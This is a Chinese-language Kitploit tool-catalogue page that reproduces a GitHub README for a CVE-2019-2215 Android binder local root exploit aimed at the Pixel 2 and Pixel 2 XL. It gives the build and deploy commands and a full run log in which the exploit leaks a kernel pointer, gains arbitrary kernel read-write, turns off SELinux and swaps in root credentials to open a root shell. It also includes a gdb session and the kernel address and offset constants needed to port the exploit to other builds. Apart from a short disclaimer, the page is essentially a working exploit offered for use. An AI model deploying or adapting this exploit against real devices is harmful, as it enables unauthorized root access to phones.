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Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

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CVE-2019-2215 — 针对 Pixel 2 和 Pixel 2 XL 的 Temproot（通过 CVE-2019-2215） | Kitploit
工具/GitHubGitHub/byte-master-101/cve-2019-2215
Android安全权限提升漏洞利用移动安全学习与教育二进制利用
GitHubbyte-master-101/cve-2019-2215

CVE-2019-2215

针对 Pixel 2 和 Pixel 2 XL 的 Temproot（通过 CVE-2019-2215）

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CVE-2019-2215

免责声明：此处提供的代码仅供教育和展示目的。我不支持，也不对任何将此代码（或其信息、其构建、或本仓库中的任何内容）用于非法或不道德目的的人承担责任

致谢

基于 Google Project Zero 的 Jann Horn 和 Maddie Stone 的概念验证

特别感谢 CloudFuzz 的工作坊，让我能够编写此漏洞利用程序。

另外感谢 kangtastic 提供了另一个参考来源。

使用方法

要构建漏洞利用程序：

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make

要构建并将其上传到运行中的设备（使用 android studio 模拟器）：

root@kitploit:~
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit

示例用法：

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id                                   
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
    [+] Allocating page
    [+] Filling page with 'A's
    [+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
    [+] Allocating binder and epoll file descriptors
    [+] Creating Pipe
    [+] Constructing IOVEC stack
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Reading leaked task_struct pointer
    [+] Leaked task_struct pointer: 0xffff888010731b80
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
    [+] Allocating binder and epoll file descriptors
    [+] Creating socket
    [+] Writing junk data to socket
    [+] Constructing IOVEC stack
    [+] Crafting socket input data
    [+] Creating message header object
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Verifying arbitrary R/W vector
    [+] Opening kernel R/W pipe
    [+] PID 7359 verified
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
    [+] SELinux enforcing flag located at 0xffffffff816acfe8
    [+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
    [+] Copying nsproxy pointer from kernel-space
    [+] init_nsproxy structure address: 0xffffffff81433ac0
    [+] Kernel base address: 0xffffffff80200000
    [+] init_cred structure address: 0xffffffff81433c30
    [+] init_cred usage count: 0x2
    [+] Setting init_cred usage count to: 0x3
    [+] Setting task_struct credentials to init_cred
    [+] New process UID: 0
    [+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully

Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit

Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$

调试

要调试漏洞利用程序：

root@kitploit:~
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb

请注意，在连接 gdb 的情况下运行漏洞利用程序会导致其非常不可靠，因此仅在需要时连接 gdb。示例调试会话：

root@kitploit:~
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.

Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701		BUG_ON(!list_empty(&thread->todo));
0xffff888011821000:	0xffff888028f72400	0x0000000000000001
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0xffff888011821020	0xffff888011821020
0xffff888011821030:	0x0000002000001a13	0x0000000000000001
0xffff888011821040:	0x0000000000000000	0xffff888011821048
0xffff888011821050:	0xffff888011821048	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000003	0x0000000000007201
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000003	0x0000000000007201
0xffff8880118210a0:	0x0000000000000000	0xffff88806a848198
0xffff8880118210b0:	0xffff88806a848198	0x0000000000000000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000001
0xffff888011821190:	0xffff88804fab3700

Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50		spin_lock_irqsave(&wq_head->lock, flags);
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0x0000000000010000
0xffff8880118210b0:	0x00000000deadbeef	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53	}
0xffff888011821000:	0x0000000000000000	0x0000000000000000
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0x0000000000000000	0x0000000000000000
0xffff888011821030:	0x0000000000000000	0x0000000000000000
0xffff888011821040:	0x0000000000000000	0x0000000000000000
0xffff888011821050:	0x0000000000000000	0x0000000000000000
0xffff888011821060:	0x0000000000000000	0x0000000000000000
0xffff888011821070:	0x0000000000000000	0x0000000000000000
0xffff888011821080:	0x0000000000000000	0x0000000000000000
0xffff888011821090:	0x0000000000000000	0x0000000000000000
0xffff8880118210a0:	0x0000000100000000	0xffff8880118210a8
0xffff8880118210b0:	0xffff8880118210a8	0x0000000000010000
0xffff8880118210c0:	0x0000000000000000	0x0000000000000000
0xffff8880118210d0:	0x0000000000000000	0x0000000000000000
0xffff8880118210e0:	0x0000000000000000	0x0000000000000000
0xffff8880118210f0:	0x0000000000000000	0x0000000000000000
0xffff888011821100:	0x0000000000000000	0x0000000000000000
0xffff888011821110:	0x0000000000000000	0x0000000000000000
0xffff888011821120:	0x0000000000000000	0x0000000000000000
0xffff888011821130:	0x0000000000000000	0x0000000000000000
0xffff888011821140:	0x0000000000000000	0x0000000000000000
0xffff888011821150:	0x0000000000000000	0x0000000000000000
0xffff888011821160:	0x0000000000000000	0x0000000000000000
0xffff888011821170:	0x0000000000000000	0x0000000000000000
0xffff888011821180:	0x0000000000000000	0x0000000000000000
0xffff888011821190:	0xffff88804fab3700

...

构建说明

exploit.h 中的一些常量是构建特有的，即：

root@kitploit:~
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred

#define KERNEL_BASE         0xffffffff80200000ul
#define INIT_NSPROXY        0xffffffff81433ac0ul
#define SELINUX_ENFORCING   0xffffffff816acfe8ul
#define INIT_CRED           0xffffffff81433c30ul

以及

root@kitploit:~
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET   0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET          0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET      0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET    0x680ul // p /x offsetof(struct task_struct, real_cred)

第一组常量可以从目标构建的 System.map 文件中获取，第二组常量可以使用各自的 gdb 命令计算得出。

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